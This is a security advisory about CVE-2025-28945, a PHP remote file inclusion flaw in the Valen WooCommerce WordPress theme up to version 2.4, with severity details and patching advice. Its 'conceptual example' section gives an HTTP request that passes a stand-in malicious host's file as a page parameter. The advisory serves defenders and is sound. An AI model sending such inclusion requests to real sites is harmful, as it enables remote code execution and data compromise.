Overview
The Common Vulnerabilities and Exposures (CVE) system has recently published a critical vulnerability designated as CVE-2025-28945. This vulnerability specifically affects ‘Valen – Sport, Fashion WooCommerce WordPress Theme’ and potentially exposes systems to unauthorized access or data leakage. As the theme is widely used in various online stores, the potential impact of this vulnerability is considerable. A failure to address this vulnerability could result in substantial damage to both the security and reputation of businesses worldwide.
Vulnerability Summary
CVE ID: CVE-2025-28945
Severity: Critical (CVSS score 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Valen – Sport, Fashion WooCommerce WordPress Theme | Up to version 2.4
How the Exploit Works
The vulnerability occurs due to improper control of filename for include/require statement in PHP Program, known as ‘PHP Remote File Inclusion.’ This allows an attacker to include a remote file, usually through a script on the web server, which can execute arbitrary code. The attacker can thus gain unauthorized access to the system and potentially compromise data.
Conceptual Example Code
An example of how this vulnerability may be exploited is presented below. This is a conceptual representation and should not be used for malicious activities.
GET /index.php?page=http://maliciouswebsite.com/malicious_file.txt HTTP/1.1
Host: vulnerablewebsite.com
Accept: */*In this example, the attacker is exploiting the vulnerability by including a malicious file (`malicious_file.txt`) from a remote server (`maliciouswebsite.com`).
Mitigation Guidance
Users of the affected theme versions are urged to apply the vendor-provided patch as soon as possible. In case the patch is not immediately available or applicable, using Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. However, these are not long-term solutions, and patching the vulnerability remains the most effective way of addressing CVE-2025-28945. Always ensure that your systems are up-to-date and that you practice good cybersecurity hygiene to prevent such vulnerabilities from being exploited.